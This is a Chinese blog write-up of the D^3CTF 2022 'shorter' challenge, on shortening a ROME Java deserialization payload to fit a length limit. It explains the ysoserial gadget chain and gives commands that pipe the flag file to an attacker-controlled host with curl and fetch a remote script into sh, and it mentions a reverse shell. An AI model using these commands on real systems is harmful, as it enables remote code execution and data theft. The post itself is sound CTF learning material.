首页 > 其他分享 >[D^3CTF 2022] shortes

[D^3CTF 2022] shortes

时间:2024-04-30 21:33:35浏览次数:26  
标签:Object 3CTF sh shortes rome 2022 org 序列化 asm

拿到jar包,审一下源码。

先看pom.xml的依赖:

rome反序列化没跑了。

再看到MainController.java:

这里设置了一个hello路由,可以传参baseStr,但是长度不能超过1956,如果满足条件,就会到下面base64解码然后反序列化。

其他的没啥好看的。

所以思路还是很明显的,就是写一个rome链的反序列化,而且base64编码后长度不能超过1956。

遗憾的是,直接用ysoserial打会显示payload过长:

足足4504的长度,我去。

分析来自2022d3CTF 部分web题基础知识学习-CSDN博客

原来的rome1.0在yoserial这个工具中生成的利用链如下:

TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String) //5 这些序号有小到大表示调试的时候经过的函数
ToStringBean.toString() //4
ObjectBean.toString() //3
EqualsBean.beanHashCode() //2
ObjectBean.hashCode() //1

HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

之后就按照ROME反序列化分析 (c014.cn)不断的给赋值,或者缩短链子,但是最后仍然太长,有一种比较接近我们做法的非预期解是通过终极Java反序列化Payload缩小技术 | 4ra1n用javassit把eval方法重写一遍。但是这个网站打不开了,呃呃。

 

预期解是用ysoserial上的链子来完成的,没去考虑 ROME 的其他更短的链子。

因为 

Runtime.getRuntime().exec()

对于命令中带有|、<、>等符号时无法正常执行,无法达到我们本来想达到的目的,

而我们平时则会通过Base64编码的方式来解决这个问题,但是这无疑使生成的 payload变得很长。

所以我们可以用

ProcessBuilder().start() 

来解决这个问题。

可以用vps监听port,然后http起一个服务路由a:

cat /flag | curl -F 'a=@-' vps:port

然后exp里执行:

sh -c "curl vps/a|sh"

也可以直接curl反弹shell。

 

pom.xml:

  <dependencies>
    <dependency>
      <groupId>org.ow2.asm</groupId>
      <artifactId>asm</artifactId>
      <version>9.2</version>
    </dependency>
    <dependency>
      <groupId>org.ow2.asm</groupId>
      <artifactId>asm-commons</artifactId>
      <version>9.2</version>
    </dependency>
    <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.28.0-GA</version>
    </dependency>

    <dependency>
      <groupId>rome</groupId>
      <artifactId>rome</artifactId>
      <version>1.0</version>
    </dependency>
  </dependencies>

官方的EXP贴一下:d3ctf2022-shorter/shorter/web_shorter/src/main/java/org/example at main · la0t0ng/d3ctf2022-shorter (github.com)

 

参考:Java安全之ROME反序列化利用分析 (yuque.com)

我输入bash的会超,牛魔,刚好1956:

用sh的方法(其实这里不加html后缀也行,更短,但是已经够了):

终于!

提一嘴,我get传参就寄,post就ok了。

这次算是学到了rome反序列化和sh下shell交互的一手方法吧。

标签:Object,3CTF,sh,shortes,rome,2022,org,序列化,asm
From: https://www.cnblogs.com/EddieMurphy-blogs/p/18168615

相关文章

  • [2022DASCTF Apr X FATE 防疫挑战赛] warmup-java
    没错,还是java。我就跟java杠上了。分析先看依赖:没有啥特别的。审一下源码:IndexController.java:warmup路由下传参data,下面把十六进制转为字节直接反序列化了。看下动态代理MyInvocationHandler.java:看一下Utils的hexStringToBytes方法: 下面分析来自Java专题-简......
  • [CISCN 2022 东北]hana 题解(易语言逆向)
    [CISCN2022东北]hana脱壳过程首先看一下程序信息程序检测到了UPX的特征,但是下面的特征又显示是VMP壳使用010Editor打开文件将两个VMP0和VMP1改成UPX0和UPX1并保存文件,接下来使用UPX脱壳分析程序这里需要用到一个易语言反编译插件以及一个易语言函数查询网站IDA易语......
  • [NISACTF 2022]UAF
    [NISACTF2022]UAFUAFpwn:ELF32-bitLSBexecutable,Intel80386,version1(SYSV),dynamicallylinked,interpreter/lib/ld-linux.so.2,forGNU/Linux2.6.32,BuildID[sha1]=85bd87e16a35c0c05064a1a0938f6115b8b3b2be,notstripped$filepwn[*]'/ho......
  • [HNCTF 2022 WEEK4]ezheap
    [HNCTF2022WEEK4]ezheapOff-By-One|堆溢出|leak_libc[*]'/home/bamuwe/ezheap/ezheap'Arch:amd64-64-littleRELRO:FullRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled$checksec./ezheapEasyNo......
  • [题解][2021浙江CCPC] Shortest Path Query
    题目描述输入一张无向图,对于无向图的每条边u,v,w,将u和v转换成二进制后,u是v的前缀。给出q次询问,每次输入s,t,求s到t的最短距离。题解从题目数据而言,n为1e5,m为2e5,显然一般的多源最短路算法无法完成。考虑此题的特殊性质:由于边仅可能从u连向以u为前缀的v,那么若建立一颗以1为根的完......
  • cf 393017C 石头剪刀布 Metacamp2022-onlineA-dev
     Problem-C-Codeforces 五维的DPg[i][D][r][s][p]i:到了第i个位置D:最后有D个点放在后面r,s,p:已经选择了r,s,p个石头,剪刀,布放到后面 四维的DPf[i][D][r][s][p]i:到了第i个位置D:目前有D个点放在后面r,s,p:已经选择了r,s,p个石头,剪刀,布放到后面其......
  • P8866 [NOIP2022] 喵了个喵
    P8866[NOIP2022]喵了个喵构造模拟题,思路很简洁,但是代码不好写。首先看到数据范围,发现\(k\)的数据范围很特殊,种类少一种就是部分分,所以\(k\)一定是关键的,先思考\(k=2n-2\)的情况。\(k=2n-2\)观察两种操作,对于即将进入的牌\(x\),若某个栈顶或栈底有相同的\(x\),我们都可......
  • 2022ccpc题解
    2023年第五届河南省CCPC大学生程序设计竞赛ProblemA.Mocha上小班啦思路:求n个数位的最小值,条件:每一位数字都不同切不含前导零。只需要把0放到第二位,其他按从小到大输出,大于10以后输出-1即可。#include<bits/stdc++.h>usingnamespacestd;intmain(){//预处......
  • The 2022 ICPC Asia Xian Regional Contest / ICPC 西安 2022 (ABDHJKL)
    本文搬运自本人的知乎文章。https://zhuanlan.zhihu.com/p/588162564好久没有在补题之后写题解的习惯了。但是最近感觉有些题目的思路即使在题目通过后仍然难以理清,因此觉得需要写些东西帮助自己整理思路,另外也方便以后翻看积累到的技巧。J.StrangeSum题目链接Problem-J......
  • 2022 China Collegiate Programming Contest (CCPC) Mianyang | 2022 CCPC 绵阳(MAED
    搬运自本人知乎文章。https://zhuanlan.zhihu.com/p/588646549M.Rock-Paper-ScissorsPyramid题目链接Problem-M-Codeforces题意有一个长度为\(n\)的石头剪刀布序列,每个元素是RPS(石头、布、剪刀)中的一个,我们需要用这个序列构造一个三角,三角的底层为这个序列,第\(i(......